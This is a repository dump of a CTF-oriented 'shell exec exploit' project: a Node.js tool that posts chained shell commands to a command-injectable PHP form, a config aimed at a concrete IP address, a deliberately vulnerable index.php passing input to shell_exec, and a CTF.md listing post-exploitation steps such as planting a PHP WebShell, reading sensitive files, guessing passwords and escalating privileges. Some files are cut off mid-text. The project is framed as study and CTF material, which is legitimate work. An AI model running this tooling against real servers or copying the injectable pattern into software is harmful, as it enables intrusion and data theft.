├── shell-exec-exploit
├── snapshot.jpg
├── exploit
│ ├── package.json
│ ├── libs
│ │ ├── bash.js
│ │ ├── request.js
│ │ └── core.js
│ ├── config.example.js
│ ├── cli.js
│ └── package-lock.json
├── CTF.md
├── env
│ ├── index.php
│ └── etc
│ │ └── php
│ │ └── etc
│ │ ├── apache2
│ │ └── apache2.conf
│ │ └── init.d
│ │ └── apache2
└── README.md
├── .editorconfig
├── README.md
└── .gitignore
/shell-exec-exploit/snapshot.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hangxingliu/exploited/master/shell-exec-exploit/snapshot.jpg
--------------------------------------------------------------------------------
/.editorconfig:
--------------------------------------------------------------------------------
1 | [*.md]
2 | insert_final_newline = true
3 | indent_style = tab
4 | indent_size = 4
5 | trim_trailing_whitespace = false
6 |
--------------------------------------------------------------------------------
/shell-exec-exploit/exploit/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "web-shell",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "cli.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "",
10 | "license": "ISC",
11 | "dependencies": {
12 | "colors": "^1.1.2",
13 | "hoek": "^5.0.3",
14 | "request": "^2.85.0"
15 | },
16 | "devDependencies": {
17 | "@types/colors": "^1.1.3",
18 | "@types/node": "^8.0.53",
19 | "@types/request": "^2.0.8"
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Exploited
2 |
3 | Some and exploiting programs (part for CTF challenge).
4 | 一些利用程序(部分用于CTF)
5 |
6 | Study reference only.
7 | 仅供学习参考
8 |
9 | Do not used for illegal activities.
10 | 你懂的
11 |
12 | ## TOC
13 |
14 | - [Shell exec exploit](shell-exec-exploit/README.md)
15 |
16 | ## Relative languages
17 |
18 | Javascript(Node.js), Bash, C and Python.
19 |
20 | ## License
21 |
22 |
23 |
--------------------------------------------------------------------------------
/shell-exec-exploit/exploit/libs/bash.js:
--------------------------------------------------------------------------------
1 | // TODO viewFile => sed
2 |
3 | let bash = {
4 | viewHexFile: (file) => `xxd ${file}`,
5 | viewFile: (file) => `nl ${file}`,
6 | stat: (file) => `stat ${file}`,
7 | replaceOnceInEachLine: (from, to, file, newFile) => `sed s:${from}:${to}:w${newFile} ${file}`,
8 | readOneLineToFile: (line, file, newFile) => `sed ${line}w${newFile} ${file}`,
9 | copyTextFile: (from, to) => `sed w${to} ${from}`,
10 | execute: (binName, ...param) => `${binName} ` + param.join(' '),
11 | executeBashScript: (scriptFile, ...param) => `/bin/bash ${scriptFile} ` + param.join(' '),
12 | };
13 | module.exports = bash;
14 |
--------------------------------------------------------------------------------
/shell-exec-exploit/exploit/config.example.js:
--------------------------------------------------------------------------------
1 | const UA = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36';
2 |
3 | module.exports = {
4 | uri: 'http://119.29.108.118/index.php',
5 | headers: {
6 | // 'User-Agent': UA,
7 | // 'Referer': '...'
8 | },
9 |
10 | // the price of less temporary files is cannot concurrence
11 | lessTemporaryFile: true,
12 | path: {
13 | // If change it workspace path:
14 | // Don't include character "n" (Because make some tools need n character)
15 | workspace: '/tmp/p/',
16 | // characters directory must under workspace directory
17 | characters: '/tmp/p/ch/',
18 | },
19 | };
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # ignore config file
2 | config.js
3 | # ignore download files
4 | download
5 | # ignore asset files
6 | assets
7 |
8 | # Logs
9 | logs
10 | *.log
11 | npm-debug.log*
12 | yarn-debug.log*
13 | yarn-error.log*
14 |
15 | # Runtime data
16 | pids
17 | *.pid
18 | *.seed
19 | *.pid.lock
20 |
21 | # Directory for instrumented libs generated by jscoverage/JSCover
22 | lib-cov
23 |
24 | # Coverage directory used by tools like istanbul
25 | coverage
26 |
27 | # nyc test coverage
28 | .nyc_output
29 |
30 | # Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)
31 | .grunt
32 |
33 | # Bower dependency directory (https://bower.io/)
34 | bower_components
35 |
36 | # node-waf configuration
37 | .lock-wscript
38 |
39 | # Compiled binary addons (https://nodejs.org/api/addons.html)
40 | build/Release
41 |
42 | # Dependency directories
43 | node_modules/
44 | jspm_packages/
45 |
46 | # Typescript v1 declaration files
47 | typings/
48 |
49 | # Optional npm cache directory
50 | .npm
51 |
52 | # Optional eslint cache
53 | .eslintcache
54 |
55 | # Optional REPL history
56 | .node_repl_history
57 |
58 | # Output of 'npm pack'
59 | *.tgz
60 |
61 | # Yarn Integrity file
62 | .yarn-integrity
63 |
64 | # dotenv environment variables file
65 | .env
66 |
67 |
--------------------------------------------------------------------------------
/shell-exec-exploit/CTF.md:
--------------------------------------------------------------------------------
1 | # Web - Shell Execute
2 |
3 | CTF challenge about executing shell command in.
4 | 调用Shell(执行命令)一类Web题.
5 |
6 | ## Challenge Examples
7 |
8 | - [challenge](env/index.php)
9 |
10 | ## LLQF (Look, Listen, Question and Feel)
11 |
12 | 1. Iterate characters to finding characters be filtered.
13 | - example input: `abcdefg......ABCDEFG.....`
14 | - maybe `cd` be filtered, ...
15 | 2. Check by inputting shell commands
16 | - example: `;cd`, `w`, `.../123`, `/123` ...
17 | - maybe display some unusual output
18 | ...
19 |
20 | 1. 输入字符集, 判断被过滤的字符
21 | - 例如: `abcdefg......ABCDEDG.....`
22 | - 出现了包括`cd`被过滤了的情况等...
23 | 2. 输入命令判断
24 | - 例如: `;cd`, `w`, `../123`, `/123` ...
25 | - 出现非正常输出
26 | ...
27 |
28 | ## Solve
29 |
30 | 1. Find commands will not be filtered.
31 | 2. Combine pipe(`|`), file I/O(`>`, `<`, `>>`, `2>`), `xargs` ...
32 |
33 | 1. 找出可用的(未被过滤)的命令/字符
34 | 2. 管道,文件IO,`xargs`...组合使用
35 |
36 | ## Exploit
37 |
38 | 1. Create WebShell php file for shell and use some tools (for example: antSword)
39 | 2. Exploit by using escape input and creating script file to getting Shell with local scripts.
40 | 3. Find some sensitive files(for example: config files).
41 | 4. Find some public port or sharing for exploiting.
42 | 5. Guess password from sensitive files.
43 | 6. Query CVE, escalate privileges.
44 |
45 | 1. 创建 WebShell PHP 文件取得shell
46 | 2. 直接利用现有输入 通过转义, 建立脚本等方法 配合本地脚本 取得shell
47 | 3. 如果是题目不是独立环境(例如docker), 可以尝试查找敏感文件,数据库等获取进一步信息
48 | 4. 如果环境是独立环境(例如docker), 可以尝试通过现有的开放端口或共享等进一步利用
49 | 5. 通过敏感文件内容猜测密码
50 | 6. 查阅CVE,利用漏洞提权.
51 |
52 | ## Defense
53 |
54 | 1. More filter rules in challenge.
55 | 2. Control user permission(www-root).
56 | 3. Put challenge in standalone environment(for example: docker)
57 | 4. Keep your OS up to date with the latest patches.
58 |
59 | 1. 在题目允许范围内加大过滤力度
60 | 2. 控制用户(www-root)权限
61 | 3. 独立环境运行题目(例如: docker)
62 | 4. 及时更新系统补丁
63 |
--------------------------------------------------------------------------------
/shell-exec-exploit/exploit/libs/request.js:
--------------------------------------------------------------------------------
1 | //@ts-check
2 | let { uri, headers } = require('../config');
3 |
4 | module.exports = { create };
5 |
6 | /**
7 | * @param {(input: string) => string} inputFormatter
8 | * @param {(result: string, statusCode: number) => string} resultFormatter
9 | */
10 | function create(inputFormatter, resultFormatter) {
11 | let postQ = [];
12 | let context = { exec };
13 | return context;
14 |
15 | /**
16 | * @param {('debug_break'|string|(string[]))[]} commands
17 | * @param {(result: string, statusCode: number) => any} callback */
18 | function exec(commands = [], callback) {
19 | let cmds = [];
20 | for (let cmd of commands) {
21 | if (!cmd) continue;
22 | if (cmd == 'debug_break') break;
23 | if (Array.isArray(cmd))
24 | cmds = cmds.concat(cmd);
25 | else
26 | cmds.push(cmd);
27 | }
28 |
29 | let cmdStr = cmds.join(';');
30 | if (inputFormatter) cmdStr = inputFormatter(cmdStr);
31 |
32 | request(cmdStr, callback);
33 | return context;
34 | }
35 |
36 | /** @param {(result: string, statusCode: number) => any} callback */
37 | function request(command = null, callback) {
38 | if (!command && !postQ.length) return;
39 |
40 | if (command && postQ.length) return postQ.push([command, callback]);
41 | if (command && !postQ.length) postQ.push([command, callback]);
42 |
43 | if (!command) {
44 | command = postQ[0][0];
45 | callback = postQ[0][1];
46 | }
47 |
48 | require('request')({
49 | method: 'post', url: uri,
50 | form: { name: command, submit: 'submit' }
51 | }, (err, res, body) => {
52 | if (err) {
53 | console.error(err.message);
54 | return process.nextTick(request);
55 | }
56 | postQ.shift();
57 | process.nextTick(request);
58 |
59 | let bd = String(body) || '';
60 | if(resultFormatter) bd = resultFormatter(bd, res.statusCode);
61 |
62 | callback && callback(bd, res.statusCode);
63 | })
64 | }
65 | }
--------------------------------------------------------------------------------
/shell-exec-exploit/env/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
'.iconv('GB2312', 'UTF-8',$cmd).'';
70 | } else {
71 | $cmd = shell_exec( 'echo ' . $target );
72 | echo ''."your name is: ".iconv('GB2312', 'UTF-8',$cmd).'';
73 | }
74 | }
75 | ?>
--------------------------------------------------------------------------------
/shell-exec-exploit/README.md:
--------------------------------------------------------------------------------
1 | # Shell Exec Exploit Tools
2 |
3 | [Document for CTF](CTF.md)
4 |
5 | **WARNING! This exploit is used in legal safe test and study, for illegal purposes is strictly prohibited.**
6 |
7 | **警告! 此程序仅用于合法的安全测试/渗透与学习, 严禁用于非法目的.**
8 |
9 | This exploit is not apply to any situation, modify it in follow locations if you want to use it.
10 | 这个利用程序并不适用于任何测试情况, 请根据实际情况修改下列内容:
11 |
12 | - `exploit/libs/config.js` (create it based on `config.example.js`)
13 | - `exploit/libs/bash.js`
14 | - `exploit/libs/core.js`
15 | - `#inputFormatter`: function encoding your input
16 | - `#responseFormatter`: function decoding output
17 | - `string: "/etc/php/etc/init.d/apache2"`
18 | - `string: "/etc/php/etc/apache2/apache2.conf"`
19 |
20 | ## Snapshot 预览
21 |
22 | 
23 |
24 | ## Exploit environment 服务器环境
25 |
26 | - PHP
27 | - A PHP file support an input to shell execute has not filter these commands:
28 | - `sed`
29 | - `bash`
30 | - `xxd`
31 | - `stat`
32 | - `/etc/php/etc/init.d/apache2` (It will be replaced to more common file)
33 | - `/etc/php/etc/apache2/apache2.conf` (It will be replaced to more common file)
34 |
35 | ## Principle 原理
36 |
37 | 1. Generate simply single line bash script by `sed` from other file on server.
38 | - `sed $LINE_NUMBER/w$FILE $ORIGINAL_FILE`: extract a line from file
39 | - `sed s/$FROM/$TO/w$NEW_FILE $FILE`: replace content to new file
40 | 2. Generate workspace folder `/tmp/p` by using way *1*.(because `mkdir` be filtered)
41 | 3. Create tools `ex` and `ab2c` by using way *1*.
42 | - `ex ');
358 | return result.slice(index + 5 + 'your name is:'.length)
359 | .replace(/<\/pre>$/, '')
360 | .trim();
361 | }
362 | function displayResponse(result, statusCode) {
363 | console.log(`response: ${statusCode} =>`);
364 | console.log(result);
365 | }
--------------------------------------------------------------------------------
/shell-exec-exploit/exploit/package-lock.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "web-shell",
3 | "version": "1.0.0",
4 | "lockfileVersion": 1,
5 | "requires": true,
6 | "dependencies": {
7 | "@types/colors": {
8 | "version": "1.1.3",
9 | "resolved": "https://registry.npmjs.org/@types/colors/-/colors-1.1.3.tgz",
10 | "integrity": "sha1-VBOwp6GxbdGL4OP9V9L+7Mgcx3Y=",
11 | "dev": true
12 | },
13 | "@types/form-data": {
14 | "version": "2.2.1",
15 | "resolved": "https://registry.npmjs.org/@types/form-data/-/form-data-2.2.1.tgz",
16 | "integrity": "sha512-JAMFhOaHIciYVh8fb5/83nmuO/AHwmto+Hq7a9y8FzLDcC1KCU344XDOMEmahnrTFlHjgh4L0WJFczNIX2GxnQ==",
17 | "dev": true,
18 | "requires": {
19 | "@types/node": "8.0.53"
20 | }
21 | },
22 | "@types/node": {
23 | "version": "8.0.53",
24 | "resolved": "https://registry.npmjs.org/@types/node/-/node-8.0.53.tgz",
25 | "integrity": "sha512-54Dm6NwYeiSQmRB1BLXKr5GELi0wFapR1npi8bnZhEcu84d/yQKqnwwXQ56hZ0RUbTG6L5nqDZaN3dgByQXQRQ==",
26 | "dev": true
27 | },
28 | "@types/request": {
29 | "version": "2.0.8",
30 | "resolved": "https://registry.npmjs.org/@types/request/-/request-2.0.8.tgz",
31 | "integrity": "sha512-fp8gsp0Qlq5wRas4UDjzayBxzWtQVcIumsMaHnNJzrk1Skx4WRpX5/HchSdZZf5/3Jp9m59EUBIGSI6mQEMOOg==",
32 | "dev": true,
33 | "requires": {
34 | "@types/form-data": "2.2.1",
35 | "@types/node": "8.0.53"
36 | }
37 | },
38 | "ajv": {
39 | "version": "5.5.2",
40 | "resolved": "https://registry.npmjs.org/ajv/-/ajv-5.5.2.tgz",
41 | "integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=",
42 | "requires": {
43 | "co": "4.6.0",
44 | "fast-deep-equal": "1.1.0",
45 | "fast-json-stable-stringify": "2.0.0",
46 | "json-schema-traverse": "0.3.1"
47 | }
48 | },
49 | "asn1": {
50 | "version": "0.2.3",
51 | "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz",
52 | "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y="
53 | },
54 | "assert-plus": {
55 | "version": "1.0.0",
56 | "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz",
57 | "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU="
58 | },
59 | "asynckit": {
60 | "version": "0.4.0",
61 | "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
62 | "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k="
63 | },
64 | "aws-sign2": {
65 | "version": "0.7.0",
66 | "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz",
67 | "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg="
68 | },
69 | "aws4": {
70 | "version": "1.7.0",
71 | "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.7.0.tgz",
72 | "integrity": "sha512-32NDda82rhwD9/JBCCkB+MRYDp0oSvlo2IL6rQWA10PQi7tDUM3eqMSltXmY+Oyl/7N3P3qNtAlv7X0d9bI28w=="
73 | },
74 | "bcrypt-pbkdf": {
75 | "version": "1.0.1",
76 | "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.1.tgz",
77 | "integrity": "sha1-Y7xdy2EzG5K8Bf1SiVPDNGKgb40=",
78 | "optional": true,
79 | "requires": {
80 | "tweetnacl": "0.14.5"
81 | }
82 | },
83 | "boom": {
84 | "version": "4.3.1",
85 | "resolved": "https://registry.npmjs.org/boom/-/boom-4.3.1.tgz",
86 | "integrity": "sha1-T4owBctKfjiJ90kDD9JbluAdLjE=",
87 | "requires": {
88 | "hoek": "4.2.1"
89 | },
90 | "dependencies": {
91 | "hoek": {
92 | "version": "4.2.1",
93 | "resolved": "https://registry.npmjs.org/hoek/-/hoek-4.2.1.tgz",
94 | "integrity": "sha512-QLg82fGkfnJ/4iy1xZ81/9SIJiq1NGFUMGs6ParyjBZr6jW2Ufj/snDqTHixNlHdPNwN2RLVD0Pi3igeK9+JfA=="
95 | }
96 | }
97 | },
98 | "caseless": {
99 | "version": "0.12.0",
100 | "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz",
101 | "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw="
102 | },
103 | "co": {
104 | "version": "4.6.0",
105 | "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz",
106 | "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ="
107 | },
108 | "colors": {
109 | "version": "1.1.2",
110 | "resolved": "https://registry.npmjs.org/colors/-/colors-1.1.2.tgz",
111 | "integrity": "sha1-FopHAXVran9RoSzgyXv6KMCE7WM="
112 | },
113 | "combined-stream": {
114 | "version": "1.0.6",
115 | "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.6.tgz",
116 | "integrity": "sha1-cj599ugBrFYTETp+RFqbactjKBg=",
117 | "requires": {
118 | "delayed-stream": "1.0.0"
119 | }
120 | },
121 | "core-util-is": {
122 | "version": "1.0.2",
123 | "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz",
124 | "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac="
125 | },
126 | "cryptiles": {
127 | "version": "3.1.2",
128 | "resolved": "https://registry.npmjs.org/cryptiles/-/cryptiles-3.1.2.tgz",
129 | "integrity": "sha1-qJ+7Ig9c4l7FboxKqKT9e1sNKf4=",
130 | "requires": {
131 | "boom": "5.2.0"
132 | },
133 | "dependencies": {
134 | "boom": {
135 | "version": "5.2.0",
136 | "resolved": "https://registry.npmjs.org/boom/-/boom-5.2.0.tgz",
137 | "integrity": "sha512-Z5BTk6ZRe4tXXQlkqftmsAUANpXmuwlsF5Oov8ThoMbQRzdGTA1ngYRW160GexgOgjsFOKJz0LYhoNi+2AMBUw==",
138 | "requires": {
139 | "hoek": "4.2.1"
140 | }
141 | },
142 | "hoek": {
143 | "version": "4.2.1",
144 | "resolved": "https://registry.npmjs.org/hoek/-/hoek-4.2.1.tgz",
145 | "integrity": "sha512-QLg82fGkfnJ/4iy1xZ81/9SIJiq1NGFUMGs6ParyjBZr6jW2Ufj/snDqTHixNlHdPNwN2RLVD0Pi3igeK9+JfA=="
146 | }
147 | }
148 | },
149 | "dashdash": {
150 | "version": "1.14.1",
151 | "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz",
152 | "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=",
153 | "requires": {
154 | "assert-plus": "1.0.0"
155 | }
156 | },
157 | "delayed-stream": {
158 | "version": "1.0.0",
159 | "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
160 | "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk="
161 | },
162 | "ecc-jsbn": {
163 | "version": "0.1.1",
164 | "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.1.tgz",
165 | "integrity": "sha1-D8c6ntXw1Tw4GTOYUj735UN3dQU=",
166 | "optional": true,
167 | "requires": {
168 | "jsbn": "0.1.1"
169 | }
170 | },
171 | "extend": {
172 | "version": "3.0.1",
173 | "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.1.tgz",
174 | "integrity": "sha1-p1Xqe8Gt/MWjHOfnYtuq3F5jZEQ="
175 | },
176 | "extsprintf": {
177 | "version": "1.3.0",
178 | "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz",
179 | "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU="
180 | },
181 | "fast-deep-equal": {
182 | "version": "1.1.0",
183 | "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-1.1.0.tgz",
184 | "integrity": "sha1-wFNHeBfIa1HaqFPIHgWbcz0CNhQ="
185 | },
186 | "fast-json-stable-stringify": {
187 | "version": "2.0.0",
188 | "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.0.0.tgz",
189 | "integrity": "sha1-1RQsDK7msRifh9OnYREGT4bIu/I="
190 | },
191 | "forever-agent": {
192 | "version": "0.6.1",
193 | "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz",
194 | "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE="
195 | },
196 | "form-data": {
197 | "version": "2.3.2",
198 | "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.2.tgz",
199 | "integrity": "sha1-SXBJi+YEwgwAXU9cI67NIda0kJk=",
200 | "requires": {
201 | "asynckit": "0.4.0",
202 | "combined-stream": "1.0.6",
203 | "mime-types": "2.1.18"
204 | }
205 | },
206 | "getpass": {
207 | "version": "0.1.7",
208 | "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz",
209 | "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=",
210 | "requires": {
211 | "assert-plus": "1.0.0"
212 | }
213 | },
214 | "har-schema": {
215 | "version": "2.0.0",
216 | "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz",
217 | "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI="
218 | },
219 | "har-validator": {
220 | "version": "5.0.3",
221 | "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.0.3.tgz",
222 | "integrity": "sha1-ukAsJmGU8VlW7xXg/PJCmT9qff0=",
223 | "requires": {
224 | "ajv": "5.5.2",
225 | "har-schema": "2.0.0"
226 | }
227 | },
228 | "hawk": {
229 | "version": "6.0.2",
230 | "resolved": "https://registry.npmjs.org/hawk/-/hawk-6.0.2.tgz",
231 | "integrity": "sha512-miowhl2+U7Qle4vdLqDdPt9m09K6yZhkLDTWGoUiUzrQCn+mHHSmfJgAyGaLRZbPmTqfFFjRV1QWCW0VWUJBbQ==",
232 | "requires": {
233 | "boom": "4.3.1",
234 | "cryptiles": "3.1.2",
235 | "hoek": "4.2.1",
236 | "sntp": "2.1.0"
237 | },
238 | "dependencies": {
239 | "hoek": {
240 | "version": "4.2.1",
241 | "resolved": "https://registry.npmjs.org/hoek/-/hoek-4.2.1.tgz",
242 | "integrity": "sha512-QLg82fGkfnJ/4iy1xZ81/9SIJiq1NGFUMGs6ParyjBZr6jW2Ufj/snDqTHixNlHdPNwN2RLVD0Pi3igeK9+JfA=="
243 | }
244 | }
245 | },
246 | "hoek": {
247 | "version": "5.0.3",
248 | "resolved": "https://registry.npmjs.org/hoek/-/hoek-5.0.3.tgz",
249 | "integrity": "sha512-Bmr56pxML1c9kU+NS51SMFkiVQAb+9uFfXwyqR2tn4w2FPvmPt65eZ9aCcEfRXd9G74HkZnILC6p967pED4aiw=="
250 | },
251 | "http-signature": {
252 | "version": "1.2.0",
253 | "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz",
254 | "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=",
255 | "requires": {
256 | "assert-plus": "1.0.0",
257 | "jsprim": "1.4.1",
258 | "sshpk": "1.14.1"
259 | }
260 | },
261 | "is-typedarray": {
262 | "version": "1.0.0",
263 | "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
264 | "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo="
265 | },
266 | "isstream": {
267 | "version": "0.1.2",
268 | "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz",
269 | "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo="
270 | },
271 | "jsbn": {
272 | "version": "0.1.1",
273 | "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz",
274 | "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=",
275 | "optional": true
276 | },
277 | "json-schema": {
278 | "version": "0.2.3",
279 | "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz",
280 | "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM="
281 | },
282 | "json-schema-traverse": {
283 | "version": "0.3.1",
284 | "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.3.1.tgz",
285 | "integrity": "sha1-NJptRMU6Ud6JtAgFxdXlm0F9M0A="
286 | },
287 | "json-stringify-safe": {
288 | "version": "5.0.1",
289 | "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz",
290 | "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus="
291 | },
292 | "jsprim": {
293 | "version": "1.4.1",
294 | "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz",
295 | "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=",
296 | "requires": {
297 | "assert-plus": "1.0.0",
298 | "extsprintf": "1.3.0",
299 | "json-schema": "0.2.3",
300 | "verror": "1.10.0"
301 | }
302 | },
303 | "mime-db": {
304 | "version": "1.33.0",
305 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.33.0.tgz",
306 | "integrity": "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ=="
307 | },
308 | "mime-types": {
309 | "version": "2.1.18",
310 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.18.tgz",
311 | "integrity": "sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ==",
312 | "requires": {
313 | "mime-db": "1.33.0"
314 | }
315 | },
316 | "oauth-sign": {
317 | "version": "0.8.2",
318 | "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.8.2.tgz",
319 | "integrity": "sha1-Rqarfwrq2N6unsBWV4C31O/rnUM="
320 | },
321 | "performance-now": {
322 | "version": "2.1.0",
323 | "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz",
324 | "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns="
325 | },
326 | "punycode": {
327 | "version": "1.4.1",
328 | "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz",
329 | "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4="
330 | },
331 | "qs": {
332 | "version": "6.5.1",
333 | "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.1.tgz",
334 | "integrity": "sha512-eRzhrN1WSINYCDCbrz796z37LOe3m5tmW7RQf6oBntukAG1nmovJvhnwHHRMAfeoItc1m2Hk02WER2aQ/iqs+A=="
335 | },
336 | "request": {
337 | "version": "2.85.0",
338 | "resolved": "https://registry.npmjs.org/request/-/request-2.85.0.tgz",
339 | "integrity": "sha512-8H7Ehijd4js+s6wuVPLjwORxD4zeuyjYugprdOXlPSqaApmL/QOy+EB/beICHVCHkGMKNh5rvihb5ov+IDw4mg==",
340 | "requires": {
341 | "aws-sign2": "0.7.0",
342 | "aws4": "1.7.0",
343 | "caseless": "0.12.0",
344 | "combined-stream": "1.0.6",
345 | "extend": "3.0.1",
346 | "forever-agent": "0.6.1",
347 | "form-data": "2.3.2",
348 | "har-validator": "5.0.3",
349 | "hawk": "6.0.2",
350 | "http-signature": "1.2.0",
351 | "is-typedarray": "1.0.0",
352 | "isstream": "0.1.2",
353 | "json-stringify-safe": "5.0.1",
354 | "mime-types": "2.1.18",
355 | "oauth-sign": "0.8.2",
356 | "performance-now": "2.1.0",
357 | "qs": "6.5.1",
358 | "safe-buffer": "5.1.2",
359 | "stringstream": "0.0.5",
360 | "tough-cookie": "2.3.4",
361 | "tunnel-agent": "0.6.0",
362 | "uuid": "3.2.1"
363 | }
364 | },
365 | "safe-buffer": {
366 | "version": "5.1.2",
367 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
368 | "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
369 | },
370 | "sntp": {
371 | "version": "2.1.0",
372 | "resolved": "https://registry.npmjs.org/sntp/-/sntp-2.1.0.tgz",
373 | "integrity": "sha512-FL1b58BDrqS3A11lJ0zEdnJ3UOKqVxawAkF3k7F0CVN7VQ34aZrV+G8BZ1WC9ZL7NyrwsW0oviwsWDgRuVYtJg==",
374 | "requires": {
375 | "hoek": "4.2.1"
376 | },
377 | "dependencies": {
378 | "hoek": {
379 | "version": "4.2.1",
380 | "resolved": "https://registry.npmjs.org/hoek/-/hoek-4.2.1.tgz",
381 | "integrity": "sha512-QLg82fGkfnJ/4iy1xZ81/9SIJiq1NGFUMGs6ParyjBZr6jW2Ufj/snDqTHixNlHdPNwN2RLVD0Pi3igeK9+JfA=="
382 | }
383 | }
384 | },
385 | "sshpk": {
386 | "version": "1.14.1",
387 | "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.14.1.tgz",
388 | "integrity": "sha1-Ew9Zde3a2WPx1W+SuaxsUfqfg+s=",
389 | "requires": {
390 | "asn1": "0.2.3",
391 | "assert-plus": "1.0.0",
392 | "bcrypt-pbkdf": "1.0.1",
393 | "dashdash": "1.14.1",
394 | "ecc-jsbn": "0.1.1",
395 | "getpass": "0.1.7",
396 | "jsbn": "0.1.1",
397 | "tweetnacl": "0.14.5"
398 | }
399 | },
400 | "stringstream": {
401 | "version": "0.0.5",
402 | "resolved": "https://registry.npmjs.org/stringstream/-/stringstream-0.0.5.tgz",
403 | "integrity": "sha1-TkhM1N5aC7vuGORjB3EKioFiGHg="
404 | },
405 | "tough-cookie": {
406 | "version": "2.3.4",
407 | "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.3.4.tgz",
408 | "integrity": "sha512-TZ6TTfI5NtZnuyy/Kecv+CnoROnyXn2DN97LontgQpCwsX2XyLYCC0ENhYkehSOwAp8rTQKc/NUIF7BkQ5rKLA==",
409 | "requires": {
410 | "punycode": "1.4.1"
411 | }
412 | },
413 | "tunnel-agent": {
414 | "version": "0.6.0",
415 | "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
416 | "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=",
